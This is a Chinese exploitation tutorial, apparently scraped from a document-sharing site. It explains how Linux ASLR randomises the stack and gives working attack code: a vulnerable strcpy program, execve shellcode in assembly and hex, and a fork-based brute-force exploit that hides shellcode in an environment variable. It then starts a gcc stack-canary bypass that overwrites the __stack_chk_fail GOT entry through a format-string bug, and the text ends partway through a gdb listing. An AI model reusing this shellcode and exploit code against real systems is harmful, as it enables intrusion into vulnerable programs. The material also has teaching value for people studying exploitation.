突破ASLR保护和编译器栈保护.docx
《突破ASLR保护和编译器栈保护.docx》由会员分享,可在线阅读,更多相关《突破ASLR保护和编译器栈保护.docx(9页珍藏版)》请在冰豆网上搜索。
突破ASLR保护和编译器栈保护
突破ASLR保护和编译器栈保护
作者:
hackisle
ASLR(Addressspacelayoutrandomization)是一种针对缓冲区溢出的安全保护技术,通过对栈、共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置,达到阻止溢出攻击的目的。
据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。
以下是在Ubuntu7.04上对地址空间布局的测试:
[test.c]
#include
#include
main()
{
char*i;
charbuff[20];
i=malloc(20);
sleep(1000);
free(i);
}
lk@lk-laptop:
~$ps-aux|greptest
Warning:
badpssyntax,perhapsabogus'-'?
See
lk 8731 0.0 0.0 1632 332pts/0 S+ 18:
49 0:
00./test
lk 8766 0.0 0.0 2884 748pts/1 R+ 18:
49 0:
00greptest
lk@lk-laptop:
~$cat/proc/8731/maps
08048000-08049000r-xp0000000008:
012256782 /home/lk/Desktop/test
08049000-0804a000rw-p0000000008:
012256782 /home/lk/Desktop/test
0804a000-0806b000rw-p0804a00000:
000 [heap]
b7e60000-b7e61000rw-pb7e6000000:
000
b7e61000-b7f9c000r-xp0000000008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f9c000-b7f9d000r--p0013b00008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f9d000-b7f9f000rw-p0013c00008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f9f000-b7fa2000rw-pb7f9f00000:
000
b7fae000-b7fb0000rw-pb7fae00000:
000
b7fb0000-b7fc9000r-xp0000000008:
0112195 /lib/ld-2.5.so
b7fc9000-b7fcb000rw-p0001900008:
0112195 /lib/ld-2.5.so
bfe86000-bfe9c000rw-pbfe8600000:
000 [stack]
ffffe000-fffff000r-xp0000000000:
000 [vdso]
lk@lk-laptop:
~$ps-aux|greptest
Warning:
badpssyntax,perhapsabogus'-'?
See
lk 8781 0.0 0.0 1632 332pts/0 S+ 18:
49 0:
00./test
lk 8785 0.0 0.0 2884 748pts/1 R+ 18:
49 0:
00greptest
lk@lk-laptop:
~$cat/proc/8781/maps
08048000-08049000r-xp0000000008:
012256782 /home/lk/Desktop/test
08049000-0804a000rw-p0000000008:
012256782 /home/lk/Desktop/test
0804a000-0806b000rw-p0804a00000:
000 [heap]
b7e1e000-b7e1f000rw-pb7e1e00000:
000
b7e1f000-b7f5a000r-xp0000000008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f5a000-b7f5b000r--p0013b00008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f5b000-b7f5d000rw-p0013c00008:
0112116 /lib/tls/i686/cmov/libc-2.5.so
b7f5d000-b7f60000rw-pb7f5d00000:
000
b7f6c000-b7f6e000rw-pb7f6c00000:
000
b7f6e000-b7f87000r-xp0000000008:
0112195 /lib/ld-2.5.so
b7f87000-b7f89000rw-p0001900008:
0112195 /lib/ld-2.5.so
bfe23000-bfe39000rw-pbfe2300000:
000 [stack]
ffffe000-fffff000r-xp0000000000:
000 [vdso]
通过两次运行后对比/proc下的进程信息可以发现进程栈和共享库映射的地址空间都有了较大的变化,这使得以往通过esp值来猜测shellcode地址的成功率大大降低了。
Phrack59期有一篇文章介绍过使用return-into-libc的方法突破ASLR保护,不过存在着较大的条件限制,milw0rm的一篇文章也介绍了通过搜索linux-gate.so.1中的jmp%esp指令从而转向执行shellcode的方法,不过由于现在的编译器将要恢复的esp值保存在栈中,因此也不能继续使用,下面要介绍的是将shellcode放在环境变量中的通用方法。
将shellcode放在环境变量中是比较早期的一种技术,不过在突破ASLR保护时仍能起到很好的效果,要了解其中的原因,首先要分析一下可执行文件的加载过程。
Linux系统中提供了execve()系统调用,用来将可执行文件描述的新文境替换原进程的文境,execve()系统调用的内核入口是sys_execve(),sys_execve()将可执行文件的路径名拷贝到内核空间后调用do_execve(),并将路径名指针、argv数组指针、envp数组指针和pt_regs结构指针传递给它。
do_execve()分配一个linux_binprm结构,用可执行文件的数据填充该结构,包括调用copy_strings_kernel()和copy_strings()将可执行文件的路径名、环境变量字串、命令行参数字串拷贝到linux_binprm结构的page指针数组指向的内核页面中(从后往前拷),然后通过search_binary_handler()搜索并调用可执行文件对应的加载函数,其中elf文件对应的是load_elf_binary()。
structlinux_binprm{
charbuf[BINPRM_BUF_SIZE];
structpage*page[MAX_ARG_PAGES];
structmm_struct*mm;
unsignedlongp;/*currenttopofmem*/
intsh_bang;
structfile*file;
inte_uid,e_gid;
kernel_cap_tcap_inheritable,cap_permitted,cap_effective;
void*security;
intargc,envc;
char*filename; /*Nameofbinaryasseenbyprocps*/
char*interp; /*Nameofthebinaryreallyexecuted.Most
ofthetimesameasfilename,butcouldbe
differentforbinfmt_{misc,script}*/
unsignedinterp_flags;
unsignedinterp_data;
unsignedlongloader,exec;
};
load_elf_binary()的主要流程是把page指针数组指向的内核页面映射回用户空间,接着将可执行文件和解释器的部分区段映射到用户空间,并设置用户空间栈上的argc,argv[],envp[]和解释器将用到的辅助向量。
为了将page指针数组指向的页面映射到用户空间,load_elf_binary()中调用了setup_arg_pages(),对应代码如下:
retval=setup_arg_pages(bprm,randomize_stack_top(STACK_TOP),executable_stack);
其中,STACK_TOP的值通常等于0xc0000000,即用户空间的顶端,randomize_stack_top()首先判断内核是否开启了ASLR保护,如果开启,则调用get_random_int()获得一个随机数,并和STACK_RND_MASK(0x7ff)相与后再左移PAGE_SHIFT(12)位得到random_variable,最后将stack_top按页边界对齐后减去random_variable,得到最终的stack_top值,由此我们可以算出stack_top可能的最小值为0xc0000000-0x7ff000=0xbf801000。
staticunsignedlongrandomize_stack_top(unsignedlongstack_top)
{
unsignedintrandom_variable=0;
if((current->flags&PF_RANDOMIZE)&&
!
(current->personality&ADDR_NO_RANDOMIZE)){
random_variable=get_random_int()&STACK_RND_MASK;
random_variable<<=PAGE_SHIFT;
}
#ifdefCONFIG_STACK_GROWSUP
returnPAGE_ALIGN(stack_top)+random_variable;
#else
returnPAGE_ALIGN(stack_top)-random_variable;
#endif
}
stack_base的值是按以下代码确定的:
stack_base=arch_align_stack(stack_top-MAX_ARG_PAGES*PAGE_SIZE);
stack_base=PAGE_ALIGN(stack_base);
其中,MAX_ARG_PAGES和PAGE_SIZE的值分别为32和4096,即参数的总长度不得超过32个页面。
通过将sp减去一个随机数除8192的余数后,末尾四位取0,再进行PAGE_ALIGN,可以得到最终的stack_base值,由此可以算出stack_base可能的最小值为0xbf7df000。
unsignedlongarch_align_stack(unsignedlongsp)
{
if(!
(current->personality&ADDR_NO_RANDOMIZE)&&randomize_va_space)
sp-=get_random_int()%8192;
returnsp&~0xf;
}
最后setup_arg_pages()通过循环调用install_arg_page将page指针数组指向的内核页面映射到用户空间中stack_base开始的区域:
for(i=0;i structpage*page=bprm->page[i];
if(page){
bprm->page[i]=NULL;
install_arg_page(mpnt,page,stack_base);
}
stack_base+=PAGE_SIZE;
}
这时,用户空间栈的布局如下:
(内存高址)
---------- stack_top
+ …… +
----------
+ NULL +
----------
+ 路径名 +
----------
+ 环境变量字串 +
----------
+ 命令行参数字串 +
----------
+ …… +
---------- stack_base
(内存低址)
通过以上分析可以得到:
(1)、当向程序传递相同的环境变量时,即使stack_base的值是不固定的,但环境变量字串在页内的偏移却是一个固定的值,也就是环境变量字串地址的末尾3位是固定的。
(2)、由于stack_base的可能最小值不会小于0xbf7df000,因此环境变量字串的地址总是高于0xbf7df000。
当我们把shellcode作为环境变量传递给被攻击程序时,便可通过路径名长度和shellcode长度确定shellcode地址的末尾3位,而头2位则是固定的bf,中间3位的范围是7df~fff,这只是一个很小的区间,如果同时开启多个进程以不同地址进行尝试的话,很快便能命中我们的shellcode。
以下是演示程序:
[vul.c]
#include
#include
#include
intmain(intargc,char**argv)
{
charbuff[200];
printf("SCD(%p)\n",getenv("SCD"));
strcpy(buff,argv[1]);
}
[shellcode]
.section.data
.globl_start
_start:
jmp2f
1:
popl%esi
xorl%eax,%eax
movb%al,0x3(%esi)
movl%esi,0x4(%esi)
movl%eax,0x8(%esi)
movl0x8(%esi),%edx
leal0x4(%esi),%ecx
movl%esi,%ebx
movb$0xb,%al
int$0x80
2:
call1b
.string"run"
[run.c]
#include
main()
{
system("touchtest");
system("killallexp");
}
[exp.c]
#include
#include
#include
#include
#include
charscd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";
intmain(intargc,char**argv)
{
inti,j,addr;
charbuff[240];
char*sargv[]={"vul",buff,NULL};
char*senvp[]={scd,NULL};
addr=0xbfa81fd1;
for(i=0;i<20;i++)
{
printf("trySCDaddr0x%x\n",addr);
*((int*)scd+1)=addr+4;
for(j=0;j<60;j++)
*((int*)buff+j)=addr+4;
if(fork()==0)
{
while
(1)
{
if(fork()==0)
{
execve(sargv[0],sargv,senvp);
exit(EXIT_FAILURE);
}
wait(NULL);
}
}
addr+=0x1000;
}
}
其中vul.c是漏洞程序,shellcode的功能是执行run程序,run程序在当前目录下建立一个test文件,并结束exp进程。
将页面大小4096减去NULL指针的长度4,再减去路径名"vul"的长度4和scd数组的长度43,再加上开头4个字符的长度,最后便可得到shellcode在页面内的偏移值fd1,同时开启20个进程分别以0xbfa81fd1等不同地址进行尝试,很快目录下便出现test文件,证明我们的shellcode如期执行了。
为了防止栈溢出攻击,高版本的gcc通常会在编译时为局部变量含有char数组的函数中加入保护代码,通过:
0x08048481:
mov %gs:
0x14,%eax
0x08048487:
mov %eax,0xfffffff8(%ebp)
把一个canaryword保存在栈中,在函数返回时再通过:
0x080484dd:
mov 0xfffffff8(%ebp),%edx
0x080484e0:
xor %gs:
0x14,%edx
0x080484e7:
je 0x80484ee
0x080484e9:
call 0x80483a8<__stack_chk_fail@plt>
检查该值是否被覆盖,从而判断是否发生栈溢出并转向相应的处理流程。
另外,gcc还会调整局部变量的位置,把char数组挪到较高处,防止溢出时覆盖其它重要变量。
这些措施在一定程度上增加了溢出攻击攻击的难度,但在某些特定情况下也可能被绕过,比如:
[vul.c]
#include
#include
#include
#include
#include
#include
#include
intmain(intargc,char**argv)
{
intfd;
charbuff[200];
printf("SCD(%p)\n",getenv("SCD"));
strcpy(buff,argv[1]);
fd=open("/dev/null",O_RDWR);
dup2(fd,1);
printf(buff);
}
当存在可写任意内存地址漏洞时(某些栈溢出漏洞也可能导致写任意内存地址,为了演示方便,使用了formatstring漏洞),可以通过修改__stack_chk_fail对应的GOT项从而改变程序的执行流程。
lk@lk-laptop:
~/Desktop$gdbvul-q
Usinghostlibthread_dblibrary"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)disasmain
Dumpofassemblercodeforfunctionmain:
0x080484a4:
lea 0x4(%esp),%ecx->ecx等于esp+4
0x080484a8:
and $0xfffffff0,%esp
0x080484ab:
pushl 0xfffffffc(%ecx)
0x080484ae:
push %ebp
0x080484af:
mov %esp,%ebp
0x080484b1:
push %ecx->把ecx的值保存在栈中
0x080484b2:
sub $0xe4,%esp->这时的esp等于ebp-232
0x080484b8:
mov 0x4(%ecx),%eax
0x080484bb:
mov %eax,0xffffff2